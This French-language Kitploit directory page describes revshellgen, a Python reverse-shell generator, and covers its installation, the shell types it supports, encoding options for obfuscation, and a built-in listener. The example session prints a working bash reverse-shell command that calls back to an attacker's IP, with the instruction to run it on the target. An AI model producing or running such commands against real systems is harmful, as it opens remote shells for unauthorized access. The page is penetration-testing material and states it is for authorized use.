Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
revshellgen — Générateur de shell inverse écrit en Python 3. | Kitploit
Outils/GitHubGitHub/t0thkr1s/revshellgen
Génération de PayloadsExploitationTests d'IntrusionCommandement et ContrôleRed TeamingGénération de ShellcodeDéveloppement de Charges Utiles
GitHubt0thkr1s/revshellgen

revshellgen

Générateur de shell inverse écrit en Python 3.

Voir le dépôt
5659413il y a 1 anVérifié par Kitploit
Site web

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

🚀 RevShellGen

Générateur de Shell Inversé

Python License Stars

CI Tests PyPI

Automatisez la génération de shells inversés avec style
Générez, encodez et interceptez des shells inversés sans tracas


Fonctionnalités • Installation • Utilisation • Types de Shell • Contribuer

📖 À Propos

RevShellGen est un outil en ligne de commande puissant qui simplifie le processus de génération de commandes de shell inversé. Fini de chercher la syntaxe, l'encodage manuel, les maux de tête de configuration. Cet outil s'en charge avec une interface intuitive.

Télécharger l’outil

🎯 Fonctionnalités Clés

  • 🖥️ CLI Interactive - Interface intuitive basée sur des menus
  • 🔄 Encodage automatique - Support de l'encodage URL et Base64
  • 📋 Intégration presse-papiers - Copie automatique des commandes générées
  • 🌐 Détection réseau - Découverte automatique de l'adresse IP
  • 🎨 Types de shell multiples - Bash, Python, Netcat, PowerShell, et plus
  • 🔊 Écouteur intégré - Configuration automatique d'un écouteur netcat/ncat
  • 🍎 Multi-plateforme - Support complet de Linux et macOS
  • 📚 Guide de mise à niveau TTY - Instructions complètes pour améliorer les shells

🚀 Démarrage Rapide

Option 1 : Installer depuis PyPI

root@kitploit:~
# Installation depuis PyPI
pip install revshellgen

# Lancement de l'outil
revshellgen

Option 2 : Installer depuis les sources

root@kitploit:~
# Cloner le dépôt
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen

# Installer les dépendances
pip3 install -r requirements.txt

# Lancer l'outil
python3 revshellgen.py  # ou python3 revshellgen_cli.py

📦 Installation

Prérequis

  • Python 3.6 ou plus récent
  • pip (gestionnaire de paquets Python)

Dépendances

RevShellGen nécessite les paquets Python suivants :

PaquetUtilité
pyperclipOpérations presse-papiers
coloramaCouleurs du terminal
readcharSaisie interactive au clavier
netifacesDétection des interfaces réseau

Méthodes d'Installation

Méthode 1 : Utiliser requirements.txt (La plus simple)
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install -r requirements.txt
Méthode 2 : Utiliser setup.py (Traditionnelle)
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 setup.py install
Méthode 3 : Environnement virtuel (Recommandé pour l'isolation)
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 -m venv venv
source venv/bin/activate  # Sur Windows : venv\Scripts\activate
pip3 install -r requirements.txt
Méthode 4 : Installation manuelle
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install pyperclip colorama readchar netifaces
Méthode 5 : Installation utilisateur (sans sudo)
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install --user -r requirements.txt

Remarques Spécifiques par Plateforme

🐧 Linux

root@kitploit:~
# Vous aurez peut-être besoin d'installer python3-dev
sudo apt-get install python3-dev  # Debian/Ubuntu
sudo yum install python3-devel     # RHEL/CentOS

🍎 macOS

root@kitploit:~
# Installez ncat pour un meilleur support de l'écouteur
brew install nmap  # Inclut ncat

💻 Utilisation

Flux de travail de base

  1. Lancez l'outil

    root@kitploit:~
    python3 revshellgen.py
    
  2. Configurez votre shell inversé

    • Sélectionnez votre adresse IP (détectée automatiquement)
    • Choisissez un port (ex. 4444, 9001)
    • Sélectionnez le type de shell (bash, python, etc.)
    • Choisissez l'encodage (aucun, URL, Base64)
  3. La commande générée est automatiquement copiée dans le presse-papiers

  4. Démarrez l'écouteur (automatique)

  5. Exécutez la commande sur la machine cible

📸 Captures d'écran


Sélection du Shell

Génération de la commande

🐚 Shells Supportés

Type de ShellDescriptionPlateforme
BashShell inversé TCP BashLinux/Unix
PythonShell inversé PythonMulti-plateforme
NetcatShell inversé nc traditionnelLinux/Unix
Netcat mkfifoNetcat avec fifo nomméLinux/Unix
PerlShell inversé PerlMulti-plateforme
PHPShell inversé PHPMulti-plateforme
RubyShell inversé RubyMulti-plateforme
JavaShell inversé JavaMulti-plateforme
AWKShell inversé AWKLinux/Unix
SocatShell inversé SocatLinux/Unix
Socat TTYSocat avec TTY completLinux/Unix
TelnetShell inversé TelnetLinux/Unix
PowerShellWindows PowerShellWindows

🔧 Fonctionnalités Avancées

Mise à Niveau du Shell TTY

RevShellGen inclut désormais des instructions complètes de mise à niveau TTY. Après avoir intercepté un shell, l'outil fournit :

  • Méthodes pas à pas pour créer un PTY
  • Détection et configuration de la taille du terminal
  • Plusieurs techniques de mise à niveau pour différents environnements
  • Conseils de dépannage pour les problèmes courants
  • Commandes de référence rapide

Options d'Encodage

  • Aucun - Commande brute
  • Encodage URL - Pour l'exploitation d'applications web
  • Base64 - Pour l'obfuscation de commandes

Options de l'Écouteur

L'outil détecte automatiquement et utilise la variante netcat appropriée :

  • ncat (préféré, issu du paquet nmap)
  • nc (netcat traditionnel)
  • Support de la syntaxe nc spécifique à macOS

📝 Exemple de Session

root@kitploit:~
$ python3 revshellgen.py

                         __         __   __                  
  ____ ___  _  __  ___  / /  ___   / /  / /  ___ _ ___   ___ 
 / __// -_)| |/ / (_-< / _ \/ -_) / /  / /  / _ `// -_) / _ \
/_/   \__/ |___/ /___//_//_\__/ /_/  /_/   \_, / \__/ /_//_/
                                           /___/

---------- [ SÉLECTIONNER IP ] ----------
[ x ] 192.168.1.10 sur eth0
[   ] 10.0.0.5 sur tun0
[   ] Spécifier manuellement

---------- [ SPÉCIFIER LE PORT ] ----------
[ # ] Entrez le numéro de port : 4444

---------- [ SÉLECTIONNER LA COMMANDE ] ----------
[ x ] unix_bash
[   ] unix_python
[   ] unix_nc_mkfifo
...

---------- [ COMMANDE DE SHELL INVERSÉ ] ----------
bash -i >& /dev/tcp/192.168.1.10/4444 0>&1

[ + ] Commande copiée dans le presse-papiers !
[ + ] Démarrage de l'écouteur sur le port 4444...

🤝 Contribuer

Les contributions sont les bienvenues ! N'hésitez pas à soumettre une Pull Request. Pour les changements majeurs, veuillez d'abord ouvrir une issue pour discuter de ce que vous souhaitez modifier.

Configuration de Développement

root@kitploit:~
# Clonez votre fork
git clone https://github.com/VOTRE_NOM_UTILISATEUR/revshellgen
cd revshellgen

# Créez une branche
git checkout -b feature/nom-de-votre-fonctionnalité

# Faites vos modifications et validez
git add .
git commit -m "Ajoutez votre fonctionnalité"

# Poussez vers votre fork
git push origin feature/nom-de-votre-fonctionnalité

# Créez une Pull Request

🐛 Problèmes et Support

Vous avez trouvé un bug ou avez une suggestion ? Veuillez ouvrir une issue sur GitHub.

📜 Licence

Ce projet est sous licence GNU General Public License v3.0 - voir le fichier LICENSE pour plus de détails.

⚠️ Avertissement

Cet outil est destiné uniquement aux tests de pénétration autorisés et à des fins éducatives.

L'utilisation de cet outil contre des systèmes dont vous n'êtes pas propriétaire ou pour lesquels vous n'avez pas l'autorisation explicite de tester est illégale. Il est de la responsabilité de l'utilisateur final de respecter toutes les lois locales, étatiques et fédérales applicables. Les développeurs déclinent toute responsabilité et ne sont pas responsables de toute utilisation abusive ou de tout dommage causé par ce programme.

🙏 Remerciements

  • PayloadsAllTheThings - Références de shells inversés
  • ropnop - Techniques de mise à niveau TTY
  • PentestMonkey - Aide-mémoire pour shells inversés
  • Tous les contributeurs et utilisateurs de cet outil

Fait avec ❤️ par t0thkr1s
Mettez une ⭐ à ce dépôt si vous le trouvez utile !